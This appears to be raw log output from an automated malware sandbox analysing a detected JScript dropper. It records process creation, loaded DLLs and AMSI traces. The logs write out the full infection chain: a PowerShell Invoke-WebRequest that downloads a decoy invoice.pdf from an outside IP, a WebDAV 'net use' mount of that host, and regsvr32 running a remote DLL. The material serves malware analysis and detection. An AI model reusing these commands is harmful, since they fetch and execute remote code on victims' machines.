Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 904223203151262489.js	Virustotal: Detection: 22%
Source: 904223203151262489.js	ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\904223203151262489.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1708,i,5260200207789614358,16352158199973561446,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1708,i,5260200207789614358,16352158199973561446,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1718.js.csv");ITextStream.WriteLine(" entry:8560 f:nrtbve");ITextStream.WriteLine(" exec:2 f:nrtbve");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
